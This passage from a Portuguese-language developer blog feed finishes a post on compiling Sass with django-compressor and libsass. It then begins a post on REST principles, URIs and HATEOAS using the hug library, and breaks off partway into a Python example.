para &lt;em&gt;CSS&lt;/em&gt; e &lt;em&gt;JS&lt;/em&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;::html
&amp;lt;!-- index.html --&gt;

{% load compress %}
{% load staticfiles %}

{% compress css %}
    &amp;lt;link rel=&quot;stylesheet&quot; href=&quot;{% static &apos;vendor/skeleton/normalize.css&apos; %}&quot; type=&quot;text/css&quot;&gt;
    &amp;lt;link rel=&quot;stylesheet&quot; href=&quot;{% static &apos;vendor/skeleton/skeleton.css&apos; %}&quot; type=&quot;text/css&quot;&gt;
{% endcompress %}

{% compress js %}
    &amp;lt;script src=&quot;{% static &apos;vendor/jquery/jquery.js&apos; %}&quot;&gt;&amp;lt;/script&gt;
    &amp;lt;script src=&quot;{% static &apos;js/app.js&apos; %}&quot;&gt;&amp;lt;/script&gt;
{% endcompress %}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Quando o internauta acessar a sua página, o resultado final será parecido com esse:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;&amp;lt;!-- index.html --&gt;

&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;/static/CACHE/css/0fb9d388202c.css&quot; type=&quot;text/css&quot;&gt;
&amp;lt;script type=&quot;text/javascript&quot; src=&quot;/static/CACHE/js/82f4dc99bcc1.js&quot;&gt;&amp;lt;/script&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Bacana, não? Como a opção &lt;code class=&quot;language-text&quot;&gt;COMPRESS_ENABLED&lt;/code&gt; é por padrão o inverso de &lt;code class=&quot;language-text&quot;&gt;DEBUG&lt;/code&gt;,
em tempo de desenvolvimento você não verá os &lt;em&gt;assets&lt;/em&gt; comprimidos,
mas em tempo de &lt;em&gt;QA&lt;/em&gt; e produção, se o seu &lt;em&gt;Django&lt;/em&gt; estiver corretamente configurado,
sim.&lt;/p&gt;
&lt;h2&gt;Pré-compiladores&lt;/h2&gt;
&lt;p&gt;Você não precisa do &lt;em&gt;Ruby&lt;/em&gt; para utilizar &lt;em&gt;Sass&lt;/em&gt;. Hoje, com o advento da especificação
do &lt;em&gt;libsass&lt;/em&gt;, é possível ter a ferramenta em diferentes linguagens, como
&lt;a href=&quot;/tag/node.html&quot; title=&quot;Leia mais sobre Node.js&quot;&gt;&lt;em&gt;Node.js&lt;/em&gt;&lt;/a&gt; e &lt;a href=&quot;/tag/python.html&quot; title=&quot;Leia mais sobre Python&quot;&gt;&lt;em&gt;Python&lt;/em&gt;&lt;/a&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;::shell
$ pip install libsass&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;O &lt;code class=&quot;language-text&quot;&gt;django-compressor&lt;/code&gt; dá suporte a execução de compiladores/transpiladores dado um
determinado &lt;code class=&quot;language-text&quot;&gt;type&lt;/code&gt;. Vamos ilustrar esse cenário com o uso de &lt;em&gt;Sass&lt;/em&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;::python
# settings.py
COMPRESS_PRECOMPILERS = (
    (&apos;text/x-sass&apos;, &apos;sassc {infile} {outfile}&apos;),
)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;O binário &lt;code class=&quot;language-text&quot;&gt;sassc&lt;/code&gt; foi instalado no comando &lt;code class=&quot;language-text&quot;&gt;pip install&lt;/code&gt; acima. O parâmetro &lt;code class=&quot;language-text&quot;&gt;infile&lt;/code&gt;
será o próprio arquivo &lt;code class=&quot;language-text&quot;&gt;scss&lt;/code&gt;, e &lt;code class=&quot;language-text&quot;&gt;outfile&lt;/code&gt; será a saída do arquivo, já compilado para &lt;em&gt;CSS&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 620px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/4911baf4d5081e0d229de140f03d2a02/935bc/django-style.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 41.14583333333333%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAIABQDASIAAhEBAxEB/8QAFgABAQEAAAAAAAAAAAAAAAAAAAMF/8QAFgEBAQEAAAAAAAAAAAAAAAAAAwEC/9oADAMBAAIQAxAAAAHPqE0xcf/EABgQAQADAQAAAAAAAAAAAAAAAAEAAhIT/9oACAEBAAEFAsBHJfkT/8QAFxEAAwEAAAAAAAAAAAAAAAAAAAESEf/aAAgBAwEBPwGVhKP/xAAWEQEBAQAAAAAAAAAAAAAAAAABABL/2gAIAQIBAT8BFtN//8QAFxABAAMAAAAAAAAAAAAAAAAAAAERMf/aAAgBAQAGPwJUtf/EABoQAQACAwEAAAAAAAAAAAAAAAEAIRExQVH/2gAIAQEAAT8hLbr1gYltFzJ1P//aAAwDAQACAAMAAAAQ/wDv/8QAFhEBAQEAAAAAAAAAAAAAAAAAABEx/9oACAEDAQE/EMiD/8QAFhEBAQEAAAAAAAAAAAAAAAAAAQBh/9oACAECAQE/EFI21//EABsQAQACAwEBAAAAAAAAAAAAAAEAESFBYTFR/9oACAEBAAE/EBg2lgDl4bmFCWFg189iy0eJmf/Z&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Django com estilo!&amp;quot;&quot;
        title=&quot;Django com estilo!&quot;
        src=&quot;/static/4911baf4d5081e0d229de140f03d2a02/935bc/django-style.jpg&quot;
        srcset=&quot;/static/4911baf4d5081e0d229de140f03d2a02/7809d/django-style.jpg 192w,
/static/4911baf4d5081e0d229de140f03d2a02/4ecad/django-style.jpg 384w,
/static/4911baf4d5081e0d229de140f03d2a02/935bc/django-style.jpg 620w&quot;
        sizes=&quot;(max-width: 620px) 100vw, 620px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Django com estilo!&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Agora, a jogada será declarar em nosso &lt;em&gt;template&lt;/em&gt; que todas as folhas de estilo escritas
em &lt;em&gt;Sass&lt;/em&gt;, terão como &lt;code class=&quot;language-text&quot;&gt;type&lt;/code&gt; o valor &lt;code class=&quot;language-text&quot;&gt;text/x-sass&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;::html
&amp;lt;!-- index.html --&gt;

{% compress css %}
    &amp;lt;link rel=&quot;stylesheet&quot; href=&quot;{% static &apos;vendor/skeleton/normalize.css&apos; %}&quot; type=&quot;text/css&quot;&gt;
    &amp;lt;link rel=&quot;stylesheet&quot; href=&quot;{% static &apos;vendor/skeleton/skeleton.css&apos; %}&quot; type=&quot;text/css&quot;&gt;
    &amp;lt;link rel=&quot;stylesheet&quot; href=&quot;{% static &apos;scss/app.scss&apos; %}&quot; type=&quot;text/x-sass&quot;&gt;
{% endcompress %}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;A partir de agora, no momento de execução do &lt;em&gt;Compressor&lt;/em&gt;, além de minificar e concatenar
as folhas de estilo, também interpretará arquivos &lt;em&gt;Sass&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;Considerações finais&lt;/h2&gt;
&lt;p&gt;E com isso, mais uma vez, mostramos que é possível ter um projeto &lt;a href=&quot;/tag/desenvolvimento-web.html&quot; title=&quot;Leia mais sobre web&quot;&gt;&lt;em&gt;web&lt;/em&gt;&lt;/a&gt;,
utilizando ferramentas bacanas (como o &lt;em&gt;Sass&lt;/em&gt;), sem necessariamente
adicionar uma linguagem diferente à sua &lt;em&gt;stack&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;O ideal é que o processo de &lt;em&gt;build&lt;/em&gt; seja executado durante o procedimento
de &lt;em&gt;deploy&lt;/em&gt; do seu projeto (através do comando &lt;code class=&quot;language-text&quot;&gt;python manage.py compress&lt;/code&gt;). Para isso,
é necessário ativar o
&lt;a href=&quot;http://django-compressor.readthedocs.io/en/latest/scenarios/#offline-compression&quot; title=&quot;Offline compression&quot;&gt;&lt;em&gt;offline compression&lt;/em&gt; do &lt;em&gt;Django Compressor&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;No próximo &lt;em&gt;post&lt;/em&gt; vamos falar sobre &lt;em&gt;Django&lt;/em&gt; + &lt;em&gt;ES6&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Até a próxima...&lt;/p&gt;
&lt;h2&gt;Referências&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://django-compressor.readthedocs.io/en/latest/&quot;&gt;&lt;em&gt;Django Compressor - Compresses linked and inline JavaScript or CSS into a single cached file&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://hongminhee.org/libsass-python/&quot;&gt;&lt;em&gt;libsass - Sass/SCSS for Python&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[REST - Parte 2]]></title><description><![CDATA[No post anterior, demos uma pequena introdução
ao conceito de REST e fizemos um raso comparativo com o seu "rival", o SOAP.
Nesse artigo…]]></description><link>https://klauslaube.com.br/2016/05/20/rest-parte-2.html</link><guid isPermaLink="false">https://klauslaube.com.br/2016/05/20/rest-parte-2.html</guid><pubDate>Fri, 20 May 2016 12:35:00 GMT</pubDate><content:encoded>&lt;p&gt;No &lt;a href=&quot;/2016/01/06/rest-parte-1.html&quot; title=&quot;Leia a parte 1&quot;&gt;&lt;em&gt;post&lt;/em&gt; anterior&lt;/a&gt;, demos uma pequena introdução
ao conceito de &lt;em&gt;REST&lt;/em&gt; e fizemos um raso comparativo com o seu &quot;rival&quot;, o &lt;em&gt;SOAP&lt;/em&gt;.
Nesse artigo falaremos mais sobre como interagir com &lt;em&gt;APIs&lt;/em&gt; &lt;em&gt;REST&lt;/em&gt; utilizando
os verbos do protocolo &lt;em&gt;HTTP&lt;/em&gt;, e a biblioteca &lt;a href=&quot;http://www.hug.rest/&quot; title=&quot;Embrace APIs of the future&quot;&gt;&lt;em&gt;hug&lt;/em&gt;&lt;/a&gt;,
que nos ajudará a ilustrar como uma &lt;em&gt;API&lt;/em&gt; funciona na prática.&lt;/p&gt;
&lt;p&gt;Segundo o &lt;a href=&quot;https://www.infoq.com/br/articles/rest-introduction&quot; title=&quot;Introdução ao REST&quot;&gt;&lt;em&gt;InfoQ&lt;/em&gt;&lt;/a&gt;,
o &lt;em&gt;REST&lt;/em&gt; possui cinco princípios fundamentais:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Dê a todas as coisas um identificador&lt;/li&gt;
&lt;li&gt;Vincule as coisas&lt;/li&gt;
&lt;li&gt;Utilize métodos padronizados&lt;/li&gt;
&lt;li&gt;Recursos com múltiplas representações&lt;/li&gt;
&lt;li&gt;Comunique sem estado&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Esses cinco itens nos guiarão daqui para frente.&lt;/p&gt;
&lt;h2&gt;O Uniform Resource Identifier&lt;/h2&gt;
&lt;p&gt;Você já parou para pensar que na &lt;em&gt;Internet&lt;/em&gt; tudo tem um &quot;endereço único&quot;?
Do formulário de contato do seu &lt;em&gt;blog&lt;/em&gt; até um vídeo no &lt;em&gt;Youtube&lt;/em&gt;?&lt;/p&gt;
&lt;p&gt;Todo recurso tem um nome e pode ser identificado de forma única.
Esse conceito é conhecido por &lt;em&gt;Uniform Resource Identifier&lt;/em&gt; (&lt;em&gt;URI&lt;/em&gt;) e é
composto pelo &lt;em&gt;Uniform Resource Locator&lt;/em&gt; (&lt;em&gt;URL&lt;/em&gt;) e &lt;em&gt;Uniform Resource Name&lt;/em&gt; (&lt;em&gt;URN&lt;/em&gt;).&lt;/p&gt;
&lt;p&gt;Logo, quando falamos do endereço &lt;code class=&quot;language-text&quot;&gt;http://google.com/index.html&lt;/code&gt;, podemos assumir a seguinte
estrutura:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;http://google.com/index.html
|------ URL -----|-- URN --|
|----------- URI ----------|&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Como uma &lt;em&gt;API&lt;/em&gt; &lt;em&gt;REST&lt;/em&gt; é um recurso disponível na &lt;a href=&quot;/tag/desenvolvimento-web.html&quot; title=&quot;Leia mais sobre web&quot;&gt;&lt;em&gt;web&lt;/em&gt;&lt;/a&gt;,
essa regra não é diferente. Daremos identificadores únicos para cada recurso exposto.&lt;/p&gt;
&lt;p&gt;Utilizaremos o &lt;code class=&quot;language-text&quot;&gt;localhost:8000&lt;/code&gt; para os exemplos a seguir. Portanto, vamos imaginar que
temos uma &lt;em&gt;API&lt;/em&gt; de filmes, e gostaríamos de listar todos os filmes. Uma boa prática
é utilizarmos o substantivo no plural. Exemplo:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;http://localhost:8000/movies/&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Vamos supor que o filme &quot;The Matrix&quot;, dentro da nossa base de dados, tenha o &lt;em&gt;ID&lt;/em&gt; &lt;code class=&quot;language-text&quot;&gt;20&lt;/code&gt;.
Na nossa &lt;em&gt;API&lt;/em&gt; poderíamos acessá-lo através da seguinte &lt;em&gt;URI&lt;/em&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;http://localhost:8000/movies/20/&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Consequentemente, outro filme teria um identificador diferente. Por exemplo, para acessarmos
o filme &quot;Swordfish&quot;, que no nosso exemplo possui o &lt;em&gt;ID&lt;/em&gt; &lt;code class=&quot;language-text&quot;&gt;55&lt;/code&gt;, temos:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;http://localhost:8000/movies/55/&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Outra boa prática é utilizarmos &lt;a href=&quot;https://en.wikipedia.org/wiki/Universally_unique_identifier&quot; title=&quot;Leia mais sobre UUID&quot;&gt;&lt;em&gt;UUIDs&lt;/em&gt;&lt;/a&gt;
ao invés das chaves primárias do nosso banco de dados. Isso obscurece o funcionamento da
aplicação, tornando-a ligeiramente mais segura:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;http://localhost:8000/movies/DED621D5-08F4-4D32-ADFA-84375BA415B9/&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Legal! Já tenho como acessar o filme &lt;em&gt;The Matrix&lt;/em&gt;, dentro da nossa &quot;&lt;em&gt;API&lt;/em&gt; imaginária&quot;. Será
que temos alguma maneira fácil de acessar, por exemplo, os atores que fazem parte desse
filme?&lt;/p&gt;
&lt;h2&gt;Hipermídia&lt;/h2&gt;
&lt;p&gt;O conceito de hipermídia pode ser bastante abstrato. Segundo o &lt;em&gt;Wikipedia&lt;/em&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Hipermídia é a reunião de várias mídias num ambiente computacional, suportada por sistemas eletrônicos
de comunicação. Hipermídia, diferentemente de multimídia, não é a mera reunião dos meios existentes, e
sim a fusão desses meios a partir de elementos não-lineares.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;A melhor forma de entender esse conceito é se olharmos para uma forma de hipermídia muito conhecida: o hipertexto (sim,
o &quot;H&quot; do &lt;a href=&quot;/tag/html.html&quot; title=&quot;Leia mais sobre HTML&quot;&gt;&lt;em&gt;Hypertext Markup Language&lt;/em&gt;&lt;/a&gt;). Nele, temos um &quot;texto interativo&quot;,
não necessariamente linear e composto por diferentes outras mídias (como som, vídeo, imagens, etc).&lt;/p&gt;
&lt;p&gt;Mas o ponto que mais ilustra o que é um hipertexto é a capacidade de um texto referenciar a outro. Esse
conceito, chamado de hiperlinks (ou somente &lt;em&gt;links&lt;/em&gt;, para os mais jovens) permite com que eu seja capaz de navegar
entre documentos apenas seguindo as suas referências, sem conhecer previamente o destino do meu passo seguinte.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 619px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/3c33d9c73b53a52b480dad1527ce9c9d/a530b/social-network-movie.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 50%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAKABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAMEBf/EABYBAQEBAAAAAAAAAAAAAAAAAAABAv/aAAwDAQACEAMQAAABzymXBYgr/8QAGxAAAQQDAAAAAAAAAAAAAAAAAAIDESEBEjH/2gAIAQEAAQUC1gVioHuvUo//xAAUEQEAAAAAAAAAAAAAAAAAAAAQ/9oACAEDAQE/AT//xAAUEQEAAAAAAAAAAAAAAAAAAAAQ/9oACAECAQE/AT//xAAYEAADAQEAAAAAAAAAAAAAAAAAAhARMf/aAAgBAQAGPwI1TsXJ/8QAHBABAAEEAwAAAAAAAAAAAAAAAQARITFBUWGh/9oACAEBAAE/IQZJmFuC2lDf1MXdIAAA4Jtn/9oADAMBAAIAAwAAABCvz//EABYRAQEBAAAAAAAAAAAAAAAAAAARAf/aAAgBAwEBPxCrj//EABYRAQEBAAAAAAAAAAAAAAAAAAABEf/aAAgBAgEBPxCRj//EABsQAQADAAMBAAAAAAAAAAAAAAEAESExUWFB/9oACAEBAAE/EEkdQ0+k78cVwFlXAlAeDZgjCh9I/RFoUOx2zuf/2Q==&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Aqui de boas fazendo umas APIs com os meus amigos (cosmopolitan.com)&amp;quot;&quot;
        title=&quot;Aqui de boas fazendo umas APIs com os meus amigos (cosmopolitan.com)&quot;
        src=&quot;/static/3c33d9c73b53a52b480dad1527ce9c9d/a530b/social-network-movie.jpg&quot;
        srcset=&quot;/static/3c33d9c73b53a52b480dad1527ce9c9d/7809d/social-network-movie.jpg 192w,
/static/3c33d9c73b53a52b480dad1527ce9c9d/4ecad/social-network-movie.jpg 384w,
/static/3c33d9c73b53a52b480dad1527ce9c9d/a530b/social-network-movie.jpg 619w&quot;
        sizes=&quot;(max-width: 619px) 100vw, 619px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Aqui de boas fazendo umas APIs com os meus amigos (cosmopolitan.com)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Quando esse conceito é aplicado ao contexto de &lt;em&gt;REST&lt;/em&gt;, temos o que chamamos de &lt;em&gt;Hypermedia as the Engine
of Application State&lt;/em&gt; (&lt;a href=&quot;https://en.wikipedia.org/wiki/HATEOAS&quot; title=&quot;Leia mais sobre HATEOAS&quot;&gt;&lt;em&gt;HATEOAS&lt;/em&gt;&lt;/a&gt;).
Segundo ele, nosso cliente deve ser capaz de interagir com a nossa aplicação
(e até mesmo demais aplicações vinculadas a ela) através de hipermídia. Dessa forma, eu não preciso necessariamente
conhecer todos os &lt;em&gt;endpoints&lt;/em&gt; de uma &lt;em&gt;API&lt;/em&gt;, ela me informará dada uma determinada &lt;em&gt;URI&lt;/em&gt;, para onde eu posso navegar.&lt;/p&gt;
&lt;p&gt;Pegando a nossa &lt;em&gt;API&lt;/em&gt; de filmes, eu deveria ter dentro da resposta do filme &quot;The Matrix&quot; alguma informação me dizendo
que para listar os atores desse filme, eu deveria acessar &lt;code class=&quot;language-text&quot;&gt;http://localhost:8000/movies/DED621D5-08F4-4D32-ADFA-84375BA415B9/actors/&lt;/code&gt;.
E uma vez eu estando nessa listagem, deveria haver um &lt;em&gt;link&lt;/em&gt; me dizendo que para ver os detalhes da
&lt;a href=&quot;http://www.imdb.com/name/nm0005251/&quot; title=&quot;Carrie-Anne Moss no IMDB&quot;&gt;&lt;em&gt;Carrie-Anne Moss&lt;/em&gt;&lt;/a&gt;, por exemplo,
eu devo acessar a &lt;em&gt;URI&lt;/em&gt; &lt;code class=&quot;language-text&quot;&gt;http://localhost:8000/actors/A3531BF5-C089-4A44-8A92-5A5AC08261AA/&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Exemplo:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;xml&quot;&gt;&lt;pre class=&quot;language-xml&quot;&gt;&lt;code class=&quot;language-xml&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;movie&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
  &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;uuid&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;DED621D5-08F4-4D32-ADFA-84375BA415B9&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;uuid&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
  &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;title&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;The Matrix&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;title&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;

  &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;link&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;rel&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;actors&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;href&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;http://localhost:8000/movies/DED621D5-08F4-4D32-ADFA-84375BA415B9/actors/&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;/&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;movie&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Ou em uma resposta em &lt;em&gt;JSON&lt;/em&gt;, poderíamos ter algo parecido com o exemplo abaixo:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;json&quot;&gt;&lt;pre class=&quot;language-json&quot;&gt;&lt;code class=&quot;language-json&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;&quot;uuid&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;DED621D5-08F4-4D32-ADFA-84375BA415B9&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;&quot;title&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;The Matrix&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;

  &lt;span class=&quot;token property&quot;&gt;&quot;_links&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;&quot;actors&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;http://localhost:8000/movies/DED621D5-08F4-4D32-ADFA-84375BA415B9/actors/&quot;&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2&gt;Um pouquinho de prática&lt;/h2&gt;
&lt;p&gt;Antes de falarmos sobre os verbos &lt;em&gt;HTTP&lt;/em&gt;, vamos utilizar o &lt;em&gt;hug&lt;/em&gt; para uma abordagem um
pouco mais prática. Iniciamos com a instalação da biblioteca:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ pip3 install hug&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Para tornar as coisas simples, vamos simular o acesso ao banco de dados com o uso de dicionários &lt;em&gt;Python&lt;/em&gt;.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# api.py&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; hug

MOVIES &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
